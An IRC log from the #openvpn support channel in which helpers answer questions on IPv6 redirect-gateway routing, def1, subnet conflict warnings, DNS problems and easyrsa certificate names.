16:30 < pekster> The error you have cited earlier is an IPv4 error
16:30 < pekster> I'm quite unwilling to help you if you give me bits and pieces of your logs/config as you see fit
16:30 < HM2> ipv4 is working fine
16:30 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
16:31 < HM2> it must have been an anomoly
16:31 < pekster> That error comes from the redirect_deafult_route_to_vpn() function, and that is IPv4 speciic (only takes in the route_list struct, not the route_ipv6_list struct, which is the IPv6 version)
16:31 < pekster> So _NO_ your earlier error is very much IPv4 related
16:31 < HM2> what's the ipv6 equivalent to redirect-gateway?
16:31 < pekster> `route 2000::/3`
16:31 < pekster> Erm, `route-ipv6 2000::/3`
16:32 < HM2> why no global solution?
16:32 < pekster> 2000::/3 is global
16:33 < HM2> so if a website returns urls with resources on other IPs they will be merrily fetched with a HTTP request outside the VPN
16:34 < pekster> then it's not global
16:34 < pekster> You asked "why not global solution" and 2000::/3 is global. If you need something else, it is by definition not global
16:35 < HM2> IPv4 redirects *every* IP except the openvpn host
16:35 < pekster> https://www.iana.org/assignments/ipv6-address-space/ipv6-address-space.xhtml
16:35 <@vpnHelper> Title: Internet Protocol Version 6 Address Space (at www.iana.org)
16:35 < HM2> why isn't the same done for IPv6?
16:35 < pekster> Then use ::/0 if you'd like
16:35 < pekster> That includes all IPv6 space, _including_ the non-globally address space
16:35 < pekster> Reference the IANA page above for deatils if you need a reminder on IPv6 allocations
16:36 < HM2> default gateways should receive all traffic not otherwise routed imho
16:36 < pekster> But you can't globally route anything outside of 2000::/3, and it is the nice advantage of overriding (not replacing) the gateway
16:36 < HM2> restricting it arbitrarily to unicast global seems needless
16:36 < pekster> Yes, the problem is when you have multiple gateways. Use the /3 like you woule the two /1 routes in IPv4
16:36 < pekster> Or don't do that and possibly end up with RA vs OpenVPN competition for the /0 route (that's generally bad and something you want to avoid)
16:36 < HM2> two /1?s
16:37 < pekster> !def1
16:37 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
16:37 < pekster> Go read --redirect-gateway in the manpage ( I mean actualy read it, not ask me to spoonfeed it to you)
16:38 < HM2> i read that earlier but i didn't understand wtf it was talking about
16:38 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
16:38 < pekster> So what do you think happens if openvpn replaces the /0 route, then a local DHCP client renews and replaces it as it's configured to do?
16:39 < HM2> DHCP isn't used in IPv6
16:39 < HM2> typically
16:39 < pekster> RAs are
16:39 < pekster> You asked about def1, which is /1's
16:39 < pekster> That's IPv4 specific. Pick and choose what you're asking about
16:39 < pekster> Use 2000::/3 the same way you use 0/1 and 128/1 in IPv4
16:40 < HM2> but i haven't used /1s in IPv4
16:40 < pekster> An OS configured to accept RAs will adjust the routing table accordingly
16:40 < HM2> i've never had the need to
16:40 < HM2> that's what i didn't get
16:40 < pekster> Yes, this is why I poitned you to the def1 resource above (that you haven't bothered to read, or ask a follow-up question to help understand)
16:40 < HM2> what a mess
16:41 < pekster> This isn't really the right place to learn the basics of now CIDR, routes, and networking works
16:41 < pekster> !101
16:41 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
16:41 < pekster> It sounds to me like you need a lot more basic review/understanding of networking in general before you can hope to use openvpn meainingfully
16:41 < HM2> I don't see how DHCP is effected anyway
16:42 < HM2> OpenVPN is currently my default gateway, but my LAN traffic is still routed over wlan0
16:42 < pekster> And yet you ignored my question to try and get you to understand. Typical for you, I guess.
16:42 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
16:42 < HM2> that includes DHCP traffic
16:43 < HM2> besides, if the sodding thing was integrated in to the rest of the network management stack properly there wouldn't be an issue
16:44 < HM2> so is the long and short of it i need to stuff "def1" at the end of "redirect-gateway"?
16:44 < HM2> because every thread online is conflicted and the man page is confusing
16:45 < pekster> !def1
16:45 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
16:45 < pekster> Ask a question that shows you've read that and learned something. It's generally wise to use that unless you know what you're doing
16:45 < HM2> yes i understand
16:46 < pekster> Then why wouldn't you want to use it?
16:46 < rob0> No, openvpn can't redirect traffic on your physical network's subnet.
16:46 < HM2> All i want going over the WAN is DHCP/RA whatever and packets to my VPN
16:47 < pekster> So follow the flowchart in !redirect for your IPv4 needs and https://community.openvpn.net/openvpn/wiki/IPv6#PushingIPv6routes for IPv6. This isn't nearly as hard as you're making it
16:47 <@vpnHelper> Title: IPv6 – OpenVPN Community (at community.openvpn.net)
16:48 < HM2> it seems pretty hard
16:48 < HM2> redirect-gateway for ipv4 works fine, but now you're saying it probably breaks DHCP renewals
16:48 < HM2> oh and there's no direct ipv6 analogy
16:48 < HM2> because that'd breaks RA
16:48 < HM2> so it's cool to break ipv4 by default but not ipv6
16:48 < pekster> No, other way around; DHCP renewals (assuming your DHCP client tries to replace the default gateway route) break redirect-gateway
16:49 < pekster> Nothing is broken
16:49 < pekster> You're just doing it wrong
16:49 < HM2> right but the primary use case of a vpn for a lot of people is when moving around, i.e. at hotels and such
16:49 < pekster> Then you set it up as such
16:49 < HM2> how am i supposed to guess at what needs to be redirected and what doesn't
16:49 < pekster> Not everyone wants or expects the VPN to do what you're doing
16:50 -!- debbie10t [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
16:50 < pekster> You follow the guides you can't be bothered to read
16:50 < HM2> i've read dozens
16:50 < pekster> Then you ask a question without claiming everything is "broken"
16:50 < debbie10t> does snat/dnat only work on linux clients or does it work for windows clients as well ?
16:50 < pekster> I linked you to the updated wiki for IPv6 redirection in the routing section
16:51 < pekster> Is part of it confusing?
16:51 < debbie10t> i mean openvpn --client-nat snat/dnat
16:51 < HM2> Ok, my question is. How do I flush everything except the routes to the OpenVPN server/host and install VPN routes on top
16:51 < rob0> You cannot redirect DHCP through a tun interface.
16:51 < HM2> literally throw EVERYTHING through the VPN
16:51 < pekster> Right, that. You still need link-local access
16:51 < HM2> right, but who cares, DHCP typically doesn't expire for hours
16:51 < pekster> (otherwise you lose your ability to communicate with the local LAN)
16:51 < HM2> once you have an IP i don't care about DHCP
16:51 < pekster> Who says it won't expire 10 minutes after you connect to the VPN?
16:52 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
16:52 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
16:52 < pekster> You're lack of basic knowledge is really hurting you here
16:52 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 240 seconds]
16:52 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
16:52 -!- mode/#openvpn [+v s7r] by ChanServ
16:52 < pekster> s/'re/r/
16:52 < HM2> ok so whats the fix in face of the DHCP renewal trouncing the default route?
16:52 < pekster> Use def1
16:52 < pekster> You get a 0/1 and 128/1 route that overrides (but doesn't clobber) 0/0. !def1 said this (and I gave it to you twice.)
16:53 < HM2> right and i asked if that was the upshot of it 10 minutes ago
16:53 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
16:54 < HM2> i don't see how that fixes ipv6
16:54 < HM2> since you said def1 was ipv4 specific
16:54 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
16:54 < HM2> pushing 2000:/3 just seems like a miserable hack
16:54 < pekster> Same thing as 'def1' does
16:56 < pekster> If you know your IPv6 client doesn't accept RAs you can probably use 0/0, but that's a much bigger hack and set of assumptions
16:57 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 250 seconds]
16:57 < pekster> Using `--redirect-gateway def1` is exactly the same as `--route remote_host 255.255.255.255 net_gateway --route 0.0.0.0 128.0.0.0 --route 128.0.0.0 128.0.0.0`
16:57 < pekster> So, given that, how is `--route-ipv6 2000::/3` any "less" of a hack?
16:58 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
16:59 < pekster> debbie10t: Should work everywhere AFAIR; openvpn is just re-writting the entire source/destination networks
16:59 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
17:01 < HM2> and incidentally my network knowledge isn't weak
17:01 < HM2> it's just obscure config options and years of conflicting info on openvpn setup
17:01 < pekster> debbie10t: It's basically a giant hack for when you're trying to use duplicate RFC1918 networks, which you should avoid (don't overlap networks in a single routing domain like that)
17:01 < HM2> i wasn't expecting it to be totally broken on Android and networkmanager
17:02 < pekster> Your attitude here sucks. Please change it
17:02 < HM2> and yeah i know that isn't an upstream problem
17:02 < pekster> We'd like nothing more than for n-m to fail less; no one skilled at openvpn seems to care enough to help downstream fix it
17:03 < pekster> Thus our recommendation is to either avoid using it, or start with a "standard" config file and see if it can be migrated or (im)ported to n-m after it is confirmed working
17:07 < HM2> ah well
17:07 < HM2> I'll have to disable ipv6 on my phone for my trip
17:09 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
17:09 < debbie10t> pekster: (sorry to bug you I know you are busy) it seems that windows clients do NOT throw "potential subnet conflict" error at all . . ?
17:10 < debbie10t> they used to ...
17:11 < debbie10t> I have deleberately setup a subnet conflict in order to test (learn) NAT but only linux clients throw the conflict error
17:12 <@ecrist> logs?
17:12 < debbie10t> sure hold on
17:12 < debbie10t> !paste
17:12 <@vpnHelper> "paste" is (#1) "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments or (#2) gist allows multiple files per paste, useful if you have several files to show
17:15 < pekster> 2.3.2 still spews that warning (and the logic is very dumb since it flags the /29 and /25, both within the same /24 "supernet" as a "conflict")
17:15 < HM2> pekster, i apologise for being an asshole
17:17 < HM2> sysadmining isn't my idea of fun
17:18 < HM2> it makes me grouchy
17:18 < pekster> Well, for better help in the future, try working together to get problems fixed. Usually providng tiny bits of the puzzle don't cause FOSS community members to care much, but most of us do enjoy a puzzle when we have all the pieces
17:18 < debbie10t> I will just paste the windows log as that is the one in question
17:19 < HM2> yeah yeah, i work on open code too... all open source docs sucks and all system integration is hard. I've had a lot of bad ipv6 experiences is all. that's why i'm using NAT on Ipv6. in the end i gave up trying to get stuff working and just changed my ipv4 nat solution to ipv6. solved in 30 seconds
17:20 < pekster> debbie10t: I just looked myself since I have a /25 LAN and /28 in the same /24, and it spits: "WARNING: potential conflict between --remote address [172.19.43.15] and --ifconfig address pair [172.19.43.226, 255.255.255.240] -- this is a warning only"
17:20 < rob0> We also enjoy a puzzle when we cut it ourselves. With a jigsaw. On living flesh!
17:20 < pekster> It seems the logic only works if they're inside a /24
17:22 < debbie10t> pekster: i have a tun to windows using all /24 and a windows log which does not throw the error and a linux log on the same subnet which does.
17:23 < debbie10t> this is probably one of those things will be easier to do on the forum
17:31 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:33 -!- Probeus [probeus@probeus.no] has quit [Read error: Connection reset by peer]
17:33 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
17:33 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
17:33 -!- Probeus [probeus@probeus.no] has joined #openvpn
17:37 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has quit [Ping timeout: 246 seconds]
17:37 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 246 seconds]
17:37 -!- bogie [bogie@2001:4ba0:fffd:65::101] has quit [Ping timeout: 246 seconds]
17:38 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has joined #openvpn
17:38 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
17:42 -!- bogie [bogie@2001:4ba0:fffd:65::101] has joined #openvpn
17:58 -!- dowaat is now known as Putin2016
18:38 -!- Denial [Denial@94.8.139.3] has quit [Ping timeout: 246 seconds]
18:52 -!- Denial [Denial@90.201.173.148] has joined #openvpn
18:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:01 -!- debbie10t [~ma1com10t@host-92-20-50-44.as13285.net] has left #openvpn []
19:33 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Read error: Connection reset by peer]
19:37 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
19:37 -!- mode/#openvpn [+o dazo_afk] by ChanServ
19:37 -!- dazo_afk is now known as dazo
19:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
20:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
20:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:30 -!- Synthead [~max@173-21-246-1.client.mchsi.com] has joined #openvpn
20:33 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
20:33 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
21:18 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 240 seconds]
21:24 -!- joshh20 [~joshh20@c-70-42-74-226.internap-nyc.nfoservers.com] has joined #openvpn
21:24 < joshh20> !welcome
21:24 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
21:24 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:25 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
21:26 < joshh20> Hello, I have been trying to get OpenVPN running on my Debian 7 Xen VPS for the past few hours and am quite confused
21:26 < joshh20> It appears that I have connection, but it is extremely slow and DNS requests barely go through in most cases
21:27 < joshh20> Pings are alright, but sites don't load and trace routes take a couple minutes just to get the first couple hops
21:30 < pekster> !goal
21:30 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
21:31 < joshh20> Sorry, my goal is to setup a VPN server on my VPS hosted in a datacenter and then connect to it with my client, and then access the internet with it
21:33 < pekster> It couldn't hurt to review the steps to make sure you covered everything you need; we've got a handy flowchart here:
21:33 < pekster> !redirect
21:33 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:33 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
21:34 < pekster> It could even be something like QoS between the client & your server too that reduces the quality for some reason
21:37 < joshh20> Ok
21:45 < joshh20> Both of those pictures are the same right?
21:49 < pekster> Yup, just a mirror (I indexed my copy to save space ;)
21:51 -!- Denial [Denial@90.201.173.148] has quit [Ping timeout: 240 seconds]
21:56 -!- Denial [Denial@90.203.195.242] has joined #openvpn
21:57 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 246 seconds]
22:00 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has quit [Ping timeout: 252 seconds]
22:03 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:21 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
22:22 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 250 seconds]
22:29 < wallbroken> pekster: http://claudblog.blogspot.it/  is this the official logo?
22:29 <@vpnHelper> Title: Suggerimenti Informatici (at claudblog.blogspot.it)
22:31 < joshh20> pekster I have come to the conclusion that it is a DNS issue
22:32 < pekster> joshh20: Tried using GoogleDNS?
22:32 < joshh20> Yes, 8.8.8.8
22:39 < joshh20> I just don't understand what is going wrong with it
22:43 -!- NChief_ is now known as NChief2
22:58 < pekster> joshh20: Why do you suspect DNS is the problem? Does `dig @8.8.8.8 google.com` or such give you problems?
23:11 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
23:13 -!- Synthead [~max@173-21-246-1.client.mchsi.com] has quit [Ping timeout: 245 seconds]
23:18 -!- fvalente [~fvalente@ts.node.pt] has quit [Ping timeout: 264 seconds]
23:18 -!- Synthead [~max@173-21-246-1.client.mchsi.com] has joined #openvpn
23:21 -!- fvalente [~fvalente@ts.node.pt] has joined #openvpn
23:32 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 246 seconds]
23:46 -!- A_Pickle [~A_Pickle@host-174-45-190-220.chy-wy.client.bresnan.net] has quit [Quit: Leaving.]
23:55 < wallbroken> i forgot a certs common name, is there a way to know it?
23:55 < pekster> Do you have the cert in question?
23:56 < wallbroken> yes
23:57 < pekster> If it's in your 'issued' directory you can use the `easyrsa show-cert <shortname>` command
23:59 < wallbroken> shortname will be the name of the file?
--- Day changed Sun Dec 22 2013
00:00 < pekster> Yea, whatever name you used. The shortname is just the name without the .crt extension, so 'pki/issued/sample.crt' is simply referred to as 'sample' for ease of use
00:03 < wallbroken> ok thank you
00:04 -!- noobboob [uid5587@gateway/web/irccloud.com/x-fvpglpfowrsfeovl] has quit [Ping timeout: 260 seconds]
00:05 -!- noobboob [uid5587@gateway/web/irccloud.com/x-arsbhzqrmqtubfpb] has joined #openvpn
00:07 -!- Synthead is now known as thatdude
00:37 -!- thatdude [~max@173-21-246-1.client.mchsi.com] has quit [Remote host closed the connection]
00:52 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
01:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:46 -!- Zap-W [~zxd@bzq-79-180-15-80.red.bezeqint.net] has joined #openvpn
02:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
02:56 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:01 -!- Zap-W [~zxd@bzq-79-180-15-80.red.bezeqint.net] has quit [Ping timeout: 240 seconds]
03:07 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
03:09 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:32 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
03:33 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
03:35 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
04:13 -!- m01 [~quassel@gateway/shell/freebnc/x-siaddvzfewpaaggz] has quit [Remote host closed the connection]
04:14 -!- m01 [~quassel@gateway/shell/freebnc/x-tvrvvojpgoyuinuk] has joined #openvpn
04:20 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
04:33 < wallbroken> https://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto
04:34 <@vpnHelper> Title: EasyRSA3-OpenVPN-Howto – OpenVPN Community (at community.openvpn.net)
04:34 < wallbroken> maybe is there an error
04:34 < wallbroken> /easyrsa gen-req SERVER_COMMON_NAME nopass
04:34 < wallbroken> /easyrsa gen-req UNIQUE_NAME_HERE
04:34 < wallbroken> for the first one
04:34 < wallbroken> the parameter is called "SERVER_COMMON_NAME"
04:34 < wallbroken> and it is wrong
04:34 < wallbroken> it is not the common name
04:35 < wallbroken> but only the filename
05:02 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
05:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
05:06 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has joined #openvpn
05:11 -!- Ko_deZ [~mt@ti0071a380-dhcp4177.bb.online.no] has joined #openvpn
05:13 < Ko_deZ> Hi. I have an opensuse server set up as a firewall/nat/router for my home network. I would like to add an openvpn device and route all traffic to the BBC ip range throug it. I manage to get that up so it works from the server, but all clients that go through the server get "could not connect" messages. Anyone here have any experience with this?
05:16 < Ko_deZ> Currently I have set up the openvpn tunnel with a route-up script that run a route command channeling all IPs to BBC to the openvpn gateway address. This works well from the server as mentioned.
05:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:21 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
05:23 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
05:46 -!- Zap-W [~zxd@bzq-218-200-107.red.bezeqint.net] has joined #openvpn
06:03 -!- Ko_deZ [~mt@ti0071a380-dhcp4177.bb.online.no] has quit [Quit: Konversation terminated!]
06:43 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Ping timeout: 265 seconds]
06:44 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
07:12 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
07:18 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:31 -!- maskedlua_ is now known as maskedlua
08:02 -!- pablito [~chatzilla@194.90.149.21] has joined #openvpn
08:03 < pablito> hi
08:05 < pablito> I would like to add the following line to server.conf:  push "route domain-name.com 255.255.255.255"
08:05 < pablito> but it doesn't seem to work
08:05 < pablito> is there a work around?
08:06 < pablito> I can replace domain-name.com with its actual IP address, however, the ip for this domain-name can change, which would defeat the purpose
08:10 < pablito> !route
08:10 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
08:10 <@vpnHelper> client
08:11 < pablito> !serverlan
08:11 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
08:11 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
08:13 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
08:13 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
08:17 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
08:19 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
08:35 -!- pablito_ [~chatzilla@194.90.149.21] has joined #openvpn
08:35 -!- pablito [~chatzilla@194.90.149.21] has quit [Ping timeout: 240 seconds]
08:36 -!- pablito_ is now known as pablito
08:37 -!- pablito [~chatzilla@194.90.149.21] has quit [Client Quit]
08:42 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 250 seconds]
08:44 -!- HyperGlide [~HyperGlid@199.36.68.68.client.dyn.strong-sf77.as22781.net] has joined #openvpn
08:45 -!- HyperGli_ [~HyperGlid@176.36.68.68.client.dyn.strong-sf77.as22781.net] has joined #openvpn
08:49 -!- HyperGlide [~HyperGlid@199.36.68.68.client.dyn.strong-sf77.as22781.net] has quit [Ping timeout: 248 seconds]
09:00 -!- joshh20 [~joshh20@c-70-42-74-226.internap-nyc.nfoservers.com] has quit [Quit: ZNC - http://znc.in]
09:03 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
09:03 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:12 -!- joshh20 [~joshh20@v-70-42-74-226.unman-vds.internap-nyc.nfoservers.com] has joined #openvpn
09:29 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
09:29 -!- Devastator [~devas@186.214.14.191] has joined #openvpn
09:29 -!- Devastator [~devas@186.214.14.191] has quit [Changing host]
09:29 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:29 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:32 -!- HM2 [~HM@curly.anarchicsheep.net] has left #openvpn []
09:43 -!- master_of_master [~master_of@p4FD7BF94.dip0.t-ipconnect.de] has joined #openvpn
09:46 -!- master_o1_master [~master_of@p4FD7B8C7.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
09:55 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has joined #openvpn
09:57 -!- kasper93 [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 256 seconds]
10:12 -!- rolloTomasi [~rolloToma@bas1-kitchener09-1176482838.dsl.bell.ca] has quit [Ping timeout: 240 seconds]
10:23 -!- mback2k_ [~freenode@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Ping timeout: 246 seconds]
10:51 -!- mback2k_ [~freenode@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
10:56 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
10:56 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
10:56 -!- HyperGli_ [~HyperGlid@176.36.68.68.client.dyn.strong-sf77.as22781.net] has quit [Remote host closed the connection]
10:57 -!- HyperGlide [~HyperGlid@176.36.68.68.client.dyn.strong-sf77.as22781.net] has joined #openvpn
11:00 -!- mback2k_ [~freenode@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Ping timeout: 264 seconds]
11:11 -!- mback2k_ [~freenode@89.238.84.46] has joined #openvpn
11:23 -!- Zap-W_ [~zxd@bzq-79-183-197-51.red.bezeqint.net] has joined #openvpn
11:23 -!- Zap-W [~zxd@bzq-218-200-107.red.bezeqint.net] has quit [Ping timeout: 260 seconds]
11:26 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
11:33 -!- Zap-W_ [~zxd@bzq-79-183-197-51.red.bezeqint.net] has quit [Ping timeout: 272 seconds]
11:33 -!- Zap-W [~zxd@bzq-79-183-197-51.red.bezeqint.net] has joined #openvpn
11:38 -!- Zap-W [~zxd@bzq-79-183-197-51.red.bezeqint.net] has quit [Ping timeout: 248 seconds]
11:56 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
11:57 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
12:09 -!- kasper93_ is now known as kasper93
12:12 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:56 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
12:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
13:00 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
13:02 -!- Fruckiwacki [fruckiwack@5.135.190.66] has quit [Read error: Operation timed out]
13:02 -!- kirin` [telex@gateway/shell/anapnea.net/x-dxbergshaxsfmaak] has quit [Read error: Operation timed out]
13:02 -!- Fruckiwacki [fruckiwack@5.135.190.66] has joined #openvpn
13:03 -!- kirin` [telex@gateway/shell/anapnea.net/x-dhbpwtcyerpdzyfh] has joined #openvpn
13:05 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 260 seconds]
13:06 -!- Putin2016 [uid3966@gateway/web/irccloud.com/x-oeihgtmtnsmbgxlf] has quit [Ping timeout: 252 seconds]
13:06 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 246 seconds]
13:06 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-qotrezrudnqizfmn] has quit [Ping timeout: 246 seconds]
13:07 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-rgihcsdgljldrilr] has quit [Ping timeout: 245 seconds]
13:07 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-vtpnyokohkdgielz] has joined #openvpn
13:07 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
13:08 -!- dowaat [uid3966@gateway/web/irccloud.com/x-rcngqlwdpqtpazib] has joined #openvpn
13:08 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-dfkmqwbvdooanmco] has joined #openvpn
13:10 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
13:26 -!- noobboob [uid5587@gateway/web/irccloud.com/x-arsbhzqrmqtubfpb] has quit [Ping timeout: 260 seconds]
13:26 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-xwohiwxaoffhhuti] has quit [Ping timeout: 260 seconds]
13:27 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-rrducwligsrnaffu] has joined #openvpn
